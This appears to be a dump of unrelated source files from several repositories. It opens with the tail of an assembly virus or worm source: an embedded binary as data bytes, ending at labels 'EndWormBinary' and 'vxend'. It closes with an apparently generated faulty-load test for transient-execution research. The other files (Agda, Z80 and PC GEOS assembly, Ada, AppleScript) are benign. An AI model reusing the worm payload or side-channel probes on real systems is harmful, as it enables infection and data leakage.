000h, 000h, 0ffh, 035h db 0f0h, 050h, 000h, 000h, 0e8h, 021h, 000h, 000h, 000h, 083h, 0c4h, 01ch, 0ebh, 018h db 0ffh, 035h, 0ech, 050h, 000h, 000h, 0e8h, 011h, 000h, 000h, 000h, 0ffh, 035h, 0f0h db 050h, 000h, 000h, 0e8h, 006h, 000h, 000h, 000h, 059h, 059h, 033h, 0c0h, 05dh, 0c3h db 0a1h, 0b0h, 050h, 000h, 000h, 085h, 0c0h, 074h, 006h, 0ffh, 074h, 024h, 004h, 0ffh db 0d0h, 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02bh, 060h, 047h, 041h, 000h, 000h db 000h, 000h, 042h, 051h, 000h, 000h, 001h, 000h, 000h, 000h, 001h, 000h, 000h, 000h db 001h, 000h, 000h, 000h, 038h, 051h, 000h, 000h, 03ch, 051h, 000h, 000h, 040h, 051h db 000h, 000h, 091h, 04dh, 000h, 000h, 048h, 051h, 000h, 000h, 000h, 000h, 061h, 02eh db 064h, 06ch, 06ch, 000h, 072h, 075h, 06eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 000h, 000h, 028h, 000h, 000h, 000h db 04bh, 039h, 09eh, 039h, 019h, 03ah, 049h, 03bh, 04dh, 03bh, 051h, 03bh, 055h, 03bh db 059h, 03bh, 05dh, 03bh, 061h, 03bh, 065h, 03bh, 069h, 03bh, 06dh, 03bh, 071h, 03bh db 08eh, 03bh, 0b1h, 03bh, 000h, 020h, 000h, 000h, 034h, 000h, 000h, 000h, 083h, 03dh db 093h, 03dh, 0efh, 03dh, 006h, 03eh, 047h, 03eh, 04bh, 03eh, 04fh, 03eh, 053h, 03eh db 057h, 03eh, 05bh, 03eh, 05fh, 03eh, 063h, 03eh, 0dch, 03eh, 005h, 03fh, 009h, 03fh db 00dh, 03fh, 011h, 03fh, 015h, 03fh, 019h, 03fh, 01dh, 03fh, 021h, 03fh, 000h, 000h db 000h, 030h, 000h, 000h, 0e8h, 000h, 000h, 000h, 0e2h, 030h, 0ech, 030h, 003h, 031h db 01ah, 031h, 02dh, 031h, 046h, 031h, 068h, 031h, 076h, 031h, 083h, 031h, 096h, 031h db 0a1h, 031h, 0b8h, 031h, 0dch, 031h, 0ebh, 031h, 006h, 032h, 0eah, 032h, 0f3h, 032h db 014h, 033h, 05dh, 033h, 072h, 033h, 0aeh, 033h, 0c0h, 033h, 025h, 034h, 033h, 034h db 03ah, 034h, 055h, 034h, 071h, 034h, 087h, 034h, 018h, 035h, 02dh, 035h, 03bh, 035h db 063h, 035h, 06ch, 035h, 07dh, 035h, 0b4h, 035h, 0bdh, 035h, 0ddh, 035h, 0f3h, 035h db 008h, 036h, 02fh, 036h, 044h, 036h, 054h, 036h, 064h, 036h, 06bh, 036h, 086h, 036h db 0bah, 036h, 0cch, 036h, 0f7h, 036h, 006h, 037h, 0e1h, 037h, 0fbh, 037h, 00bh, 038h db 012h, 038h, 01bh, 038h, 060h, 038h, 077h, 038h, 07eh, 038h, 087h, 038h, 096h, 038h db 0ceh, 038h, 0d7h, 038h, 0f2h, 038h, 000h, 039h, 011h, 039h, 026h, 039h, 046h, 039h db 056h, 039h, 066h, 039h, 09bh, 039h, 0a2h, 039h, 0b2h, 039h, 0c5h, 039h, 0d3h, 039h db 0dch, 039h, 0f1h, 039h, 006h, 03ah, 045h, 03ah, 05ah, 03ah, 067h, 03ah, 070h, 03ah db 089h, 03ah, 092h, 03ah, 0b5h, 03ah, 0c3h, 03ah, 0d3h, 03ah, 0e9h, 03ah, 0feh, 03ah db 01bh, 03bh, 02ch, 03bh, 043h, 03bh, 04ch, 03bh, 066h, 03bh, 074h, 03bh, 09dh, 03bh db 0b2h, 03bh, 0c0h, 03bh, 0cch, 03bh, 062h, 03ch, 06bh, 03ch, 087h, 03ch, 0beh, 03ch db 0e0h, 03ch, 016h, 03dh, 0a5h, 03dh, 0e3h, 03dh, 034h, 03eh, 0a0h, 03eh, 0dbh, 03eh db 013h, 03fh, 032h, 03fh, 057h, 03fh, 0e4h, 03fh, 000h, 040h, 000h, 000h, 040h, 001h db 000h, 000h, 08bh, 030h, 09ah, 030h, 0ach, 030h, 0bbh, 030h, 0cch, 030h, 0dbh, 030h db 0f1h, 030h, 003h, 031h, 00dh, 031h, 017h, 031h, 046h, 031h, 099h, 031h, 0bah, 031h db 0ech, 031h, 009h, 032h, 012h, 032h, 025h, 032h, 032h, 032h, 040h, 032h, 049h, 032h db 05ah, 032h, 07dh, 032h, 086h, 032h, 092h, 032h, 099h, 032h, 011h, 033h, 01ah, 033h db 053h, 033h, 01eh, 035h, 02ch, 035h, 046h, 035h, 059h, 035h, 063h, 035h, 06eh, 035h db 083h, 035h, 08ch, 035h, 0ach, 035h, 0bbh, 035h, 0cdh, 035h, 0dch, 035h, 0f0h, 035h db 0fdh, 035h, 06ah, 036h, 071h, 036h, 088h, 036h, 091h, 036h, 0b6h, 036h, 0c8h, 036h db 0e4h, 036h, 0fch, 036h, 00bh, 037h, 01ch, 037h, 093h, 037h, 09fh, 037h, 0e1h, 038h db 0eah, 038h, 0f0h, 038h, 0f7h, 038h, 002h, 039h, 009h, 039h, 00eh, 039h, 016h, 039h db 01ch, 039h, 021h, 039h, 02ah, 039h, 030h, 039h, 002h, 03ah, 00bh, 03ah, 011h, 03ah db 018h, 03ah, 01fh, 03ah, 026h, 03ah, 020h, 03ch, 027h, 03ch, 034h, 03ch, 044h, 03ch db 049h, 03ch, 05ah, 03ch, 070h, 03ch, 07eh, 03ch, 08bh, 03ch, 099h, 03dh, 0c7h, 03dh db 0f9h, 03dh, 0feh, 03dh, 004h, 03eh, 00dh, 03eh, 014h, 03eh, 01bh, 03eh, 022h, 03eh db 02bh, 03eh, 030h, 03eh, 039h, 03eh, 03fh, 03eh, 046h, 03eh, 051h, 03eh, 057h, 03eh db 05eh, 03eh, 065h, 03eh, 06ch, 03eh, 071h, 03eh, 076h, 03eh, 07ch, 03eh, 082h, 03eh db 087h, 03eh, 08ch, 03eh, 092h, 03eh, 098h, 03eh, 09fh, 03eh, 0aah, 03eh, 0b0h, 03eh db 0b6h, 03eh, 0bdh, 03eh, 0c8h, 03eh, 0ceh, 03eh, 0d4h, 03eh, 0dbh, 03eh, 0e6h, 03eh db 0ech, 03eh, 0f2h, 03eh, 0f9h, 03eh, 004h, 03fh, 00ah, 03fh, 010h, 03fh, 017h, 03fh db 022h, 03fh, 028h, 03fh, 02eh, 03fh, 035h, 03fh, 040h, 03fh, 046h, 03fh, 04ch, 03fh db 053h, 03fh, 05eh, 03fh, 064h, 03fh, 06ah, 03fh, 071h, 03fh, 07ch, 03fh, 082h, 03fh db 088h, 03fh, 08fh, 03fh, 09ah, 03fh, 0a0h, 03fh, 0a6h, 03fh, 0adh, 03fh, 0b8h, 03fh db 0beh, 03fh, 0c4h, 03fh, 0cbh, 03fh, 0d6h, 03fh, 0dch, 03fh, 0e2h, 03fh, 0e9h, 03fh db 0f0h, 03fh, 0f6h, 03fh, 0fch, 03fh, 000h, 050h, 000h, 000h, 024h, 000h, 000h, 000h db 003h, 030h, 00ah, 030h, 010h, 030h, 016h, 030h, 01bh, 030h, 020h, 030h, 026h, 030h db 02ch, 030h, 034h, 030h, 04bh, 030h, 056h, 030h, 066h, 030h, 071h, 030h, 081h, 030h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 04eh, 042h, 031h, 030h, 000h, 000h db 000h, 000h, 02bh, 060h, 047h, 041h, 001h, 000h, 000h, 000h, 043h, 03ah, 05ch, 074h db 061h, 073h, 06dh, 05ch, 042h, 049h, 04eh, 05ch, 070h, 031h, 037h, 05ch, 044h, 04ch db 04ch, 020h, 050h, 052h, 04fh, 04ah, 045h, 043h, 054h, 05ch, 064h, 065h, 062h, 075h db 067h, 064h, 069h, 072h, 05ch, 061h, 02eh, 070h, 064h, 062h, 000h EndWormBinary: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; vxend: nop ;For moving the code for testing end start end
old/Mathematical/Numeral/Integer.agda
Lolirofle/stuff-in-agda
6
13511
<reponame>Lolirofle/stuff-in-agda module Numeral.Integer where open import Data.Tuple open import Logic import Lvl open import Numeral.Natural open import Numeral.Natural.Oper open import Relator.Equals open import Type open import Type.Quotient -- Equivalence relation of difference equality. -- Essentially (if one would already work in the integers): -- (a₁ , a₂) diff-≡_ (b₁ , b₂) -- ⇔ a₁ + b₂ ≡ a₂ + b₁ -- ⇔ a₁ − a₂ ≡ b₁ − b₂ _diff-≡_ : (ℕ ⨯ ℕ) → (ℕ ⨯ ℕ) → Stmt{Lvl.𝟎} (a₁ , a₂) diff-≡ (b₁ , b₂) = (a₁ + b₂ ≡ a₂ + b₁) ℤ : Type{Lvl.𝟎} ℤ = (ℕ ⨯ ℕ) / (_diff-≡_)
libsrc/_DEVELOPMENT/string/c/sccz80/strcat.asm
Frodevan/z88dk
640
5033
; char *strcat(char * restrict s1, const char * restrict s2) SECTION code_clib SECTION code_string PUBLIC strcat EXTERN asm_strcat strcat: pop bc pop hl pop de push de push hl push bc IF __CLASSIC && __CPU_GBZ80__ call asm_strcat ld d,h ld e,l ret ELSE jp asm_strcat ENDIF ; SDCC bridge for Classic IF __CLASSIC PUBLIC _strcat defc _strcat = strcat ENDIF
bin/osx-screensaver-start.scpt
esycat/devops
1
1168
#!/usr/bin/env osascript tell application "System Events" to tell current screen saver to start
Library/Spreadsheet/Spreadsheet/spreadsheetMethodMove.asm
steakknife/pcgeos
504
25742
<reponame>steakknife/pcgeos COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: GeoCalc FILE: spreadsheetMethodMove.asm AUTHOR: <NAME>, Mar 3, 1991 ROUTINES: Name Description ---- ----------- MSG_SPREADSHEET_MOVE_ACTIVE_CELL Move active cell MoveActiveCellFar Move the active cell REVISION HISTORY: Name Date Description ---- ---- ----------- Gene 3/ 3/91 Initial revision DESCRIPTION: Routines and methods related to moving the active cell $Id: spreadsheetMethodMove.asm,v 1.1 97/04/07 11:13:47 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MoveActiveCellDeselectFar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Deselect current range and move active cell CALLED BY: UTILITY PASS: ds:si - ptr to instance data (ax,cx) - cell to move to (r,c) (method) RETURN: none DESTROYED: ax, bx, cx, dx, di, es PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 10/11/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MoveActiveCellDeselectFar proc far call DeselectRange GOTO MoveActiveCellFar MoveActiveCellDeselectFar endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MoveActiveCell %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Move the active cell CALLED BY: MSG_MOVE_ACTIVE_CELL PASS: *ds:si - ptr to instance data ds:di - *ds:si es - seg addr of SpreadsheetClass (bp,cx) - cell to move to (r,c) (method) RETURN: none DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: This is called both as a method and a routine REVISION HISTORY: Name Date Description ---- ---- ----------- eca 2/20/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpreadsheetMoveActiveCell method SpreadsheetClass, \ MSG_SPREADSHEET_MOVE_ACTIVE_CELL mov ax, bp ;(ax,cx) <- cell (r,c) mov si, di ;ds:si <- ptr to instance data FALL_THRU MoveActiveCellFar SpreadsheetMoveActiveCell endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MoveActiveCellFar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Move the active cell CALLED BY: MoveActiveCell() PASS: ds:si - ptr to instance data (ax,cx) - cell to move to (r,c) (method) RETURN: none DESTROYED: ax, bx, cx, dx, di, es PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 3/ 3/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MoveActiveCellFar proc far uses si class SpreadsheetClass .enter EC < call ECCheckInstancePtr ;> ; ; Have we actually moved? If not, we're done... ; cmp ax, ds:[si].SSI_active.CR_row jne moveCell ;branch if change in row cmp cx, ds:[si].SSI_active.CR_column je done ;branch if same column moveCell: call CreateGState ;di <- handle of GState ; ; Is the new location outside the current selection? ; If so, we need to deselect the current selection ; before moving the active cell. ; call CellSelected? jnc changeSelection push ax, cx mov ax, ds:[si].SSI_active.CR_row mov cx, ds:[si].SSI_active.CR_column ;(ax,cx) <- old active cell call InvertActiveVisibleCell ;de-active old active cell call InvertSelectedVisibleCell ;select old active cell pop ax, cx call InvertSelectedVisibleCell ;deselect new active cell mov ds:[si].SSI_active.CR_row, ax mov ds:[si].SSI_active.CR_column, cx afterDeselect: call InvertActiveVisibleCell ;invert new active cell call DestroyGState push ax ; ; Set the edit bar to the cell contents ; mov ax, SNFLAGS_ACTIVE_CELL_MOVE ;ax <- SpreadsheetNotifyFlags call SS_SendNotification ; ; Make sure the cell is on screen ; pop ax call KeepActiveCellOnScreen done: .leave ret ; ; The active cell is moving outside the current selection. ; Deselect the current selection and make the new cell ; selected. ; changeSelection: call DeselectRange mov ds:[si].SSI_selected.CR_start.CR_row, ax mov ds:[si].SSI_selected.CR_start.CR_column, cx mov ds:[si].SSI_selected.CR_end.CR_row, ax mov ds:[si].SSI_selected.CR_end.CR_column, cx push ax, cx mov ax, ds:[si].SSI_active.CR_row mov cx, ds:[si].SSI_active.CR_column call InvertActiveVisibleCell ;un-invert old active cell pop ax, cx mov ds:[si].SSI_active.CR_row, ax mov ds:[si].SSI_active.CR_column, cx ; ; Notify the UI gadgetry to update itself. ; NOTE: we don't include SNFLAGS_ACTIVE_CELL_MOVE because ; that will be sent by the common code above. ; push ax mov ax, SNFLAGS_SELECTION_CHANGE and \ not (SNFLAGS_ACTIVE_CELL_MOVE) call SS_SendNotification pop ax jmp afterDeselect MoveActiveCellFar endp DrawCode ends
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c2/c23006d.ada
best08618/asylo
7
30573
<gh_stars>1-10 -- C23006D.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- CHECK THAT UNDERSCORES ARE SIGNIFICANT IN THE NAMES OF GENERIC -- LIBRARY PACKAGES -- JBG 5/26/85 -- PWN 5/25/94 ADDED A PROCEDURE TO KEEP PACKAGE BODIES LEGAL. GENERIC PACKAGE C23006D_PKG IS A : INTEGER := 1; END C23006D_PKG; GENERIC PACKAGE C23006DPKG IS D : INTEGER := 2; PROCEDURE REQUIRE_BODY; END C23006DPKG; WITH REPORT; USE REPORT; PRAGMA ELABORATE (REPORT); PACKAGE BODY C23006DPKG IS PROCEDURE REQUIRE_BODY IS BEGIN NULL; END; BEGIN D := IDENT_INT (5); END C23006DPKG; WITH C23006D_PKG; PRAGMA ELABORATE (C23006D_PKG); PACKAGE C23006D_INST IS NEW C23006D_PKG; WITH C23006DPKG, C23006D_INST; USE C23006D_INST; WITH REPORT; USE REPORT; PROCEDURE C23006D IS PACKAGE P2 IS NEW C23006DPKG; USE P2; BEGIN TEST ("C23006D", "CHECK UNDERSCORES ARE SIGNIFICANT " & "FOR GENERIC LIBRARY PACKAGE IDENTIFIERS"); IF A + IDENT_INT(4) /= D THEN FAILED ("INCORRECT PACKAGE IDENTIFICATION - 1"); END IF; RESULT; END C23006D;
programs/oeis/025/A025802.asm
jmorken/loda
1
87554
<reponame>jmorken/loda ; A025802: Expansion of 1/((1-x^2)(1-x^4)(1-x^5)). ; 1,0,1,0,2,1,2,1,3,2,4,2,5,3,6,4,7,5,8,6,10,7,11,8,13,10,14,11,16,13,18,14,20,16,22,18,24,20,26,22,29,24,31,26,34,29,36,31,39,34,42,36,45,39,48,42,51,45,54,48,58,51 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 sub $0,1 cal $0,29007 ; Expansion of 1/((1-x)(1-x^2)(1-x^4)(1-x^5)). mov $2,$3 mov $4,$0 lpb $2 mov $1,$4 sub $2,1 lpe lpe lpb $5 sub $1,$4 mov $5,0 lpe
source/function/graphics/rgraphic.asm
mega65dev/rom-assembler
0
21563
<reponame>mega65dev/rom-assembler ; ******************************************************************************************** ; ******************************************************************************************** ; ; Name : rgraphic.asm ; Purpose : .. ; Created : 15th Nov 1991 ; Updated : 4th Jan 2021 ; Authors : <NAME> ; ; ******************************************************************************************** ; ******************************************************************************************** ; Return graphic screen status & parameters [910826] ; RGRAPHIC (screen, param) where param = 0 open (1), closed (0), or invalid (>1) ; 1 width (0=320, 1=640, 2=1280) ; 2 height (0=200, 1=400) ; 3 depth (1-8 bitplanes) ; 4 bitplanes used (bitmask) ; 5 bank A blocks used (bitmask) ; 6 bank B blocks used (bitmask) ; 7 drawscreen # (0-3) ; 8 viewscreen # (0-3) ; 9 drawmodes (bitmask) ; 10 pattern type (bitmask) ; ; Requires a kludge, because RGR used to be a normal 1-arg function in the C128 ; but now it takes two args. rgraphic ; jsr CheckGraphicMode ;verify screen open pla ; remove token from stack jsr PushParms ; preserve Graphics parameters & LINNUM [910820] jsr chkopn ; check for open paren jsr getbyt ; get screen # in .X stx GKI__parm1 jsr combyt ; get param # in .X cpx #10+1 ; [911028] bcs l298_1 ; illegal param # phx jsr chkcls ; check for closing parens jsr ($8038) ; read screen params l298_1 +lbcs fcerr ; bad input???? lda GKI__parm2 plx ; get back desired param # dex bpl l298_2 eor #$80 ; make 0=closed, 1=open, >1=invalid lsr lsr bra l298_3 ; return screen open status l298_2 dex bpl l298_5 l298_3 lsr l298_4 lsr lsr lsr and #3 bra l298_8 ; return width, height l298_5 dex bpl l298_6 and #8 bra l298_4 l298_6 dex bpl l298_7 and #7 ; return depth inc ; make depth 1-8 bra l298_8 l298_7 lda GKI__parm3,x ; return bp bask, banks, etc. l298_8 tay jsr sngflt ; float 1 byte arg in .y jsr PopParms ; restore Graphics parameters & LINNUM rts ; ******************************************************************************************** ; ; Date Changes ; ==== ======= ; ; ********************************************************************************************
OmniFocus/WeeklyReport/WeeklyReport.scpt
zdong1995/OmniFocus-Tyme-Script
30
2432
<reponame>zdong1995/OmniFocus-Tyme-Script (* Generate report for customized days before current date and copy the text to clipboard. Copyright © 2020 <NAME> Licensed under MIT License *) tell application "OmniFocus" set n to the text returned of (display dialog "How many days before right now do you want to report?" default answer "7") set curDate to (current date) - n * days set {curDate's hours, curDate's minutes, curDate's seconds} to {0, 0, 0} set curReport to "## Completed Tasks in Last 7 days" & return & short date string of curDate & " - " & short date string of (current date) & return & return tell default document repeat with i from 1 to n set curFinishedTasks to (a reference to (flattened tasks where (completion date ≥ curDate and completion date ≤ curDate + 1 * days))) set {tskNameList, tskProjectList} to {name, name of its containing project} of curFinishedTasks set curReport to curReport & return & "### " & short date string of curDate & return repeat with i from 1 to length of tskNameList set {tskName, tskProject} to {item i of tskNameList, item i of tskProjectList} set curReport to curReport & "- [x] " & tskName if tskProject is not missing value then set curReport to curReport & " - [*" & tskProject & "*]" & return else set curReport to curReport & return end if end repeat set {tskNameList, tskProjectList} to {null, null} set curDate to curDate + 1 * days end repeat end tell set the clipboard to curReport end tell
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1053.asm
ljhsiun2/medusa
9
172453
<reponame>ljhsiun2/medusa<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r9 push %rcx push %rdx push %rsi // Faulty Load lea addresses_UC+0xd8b5, %r13 nop nop nop nop cmp $3329, %rsi movb (%r13), %cl lea oracles, %r9 and $0xff, %rcx shlq $12, %rcx mov (%r9,%rcx,1), %rcx pop %rsi pop %rdx pop %rcx pop %r9 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_UC', 'same': True, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 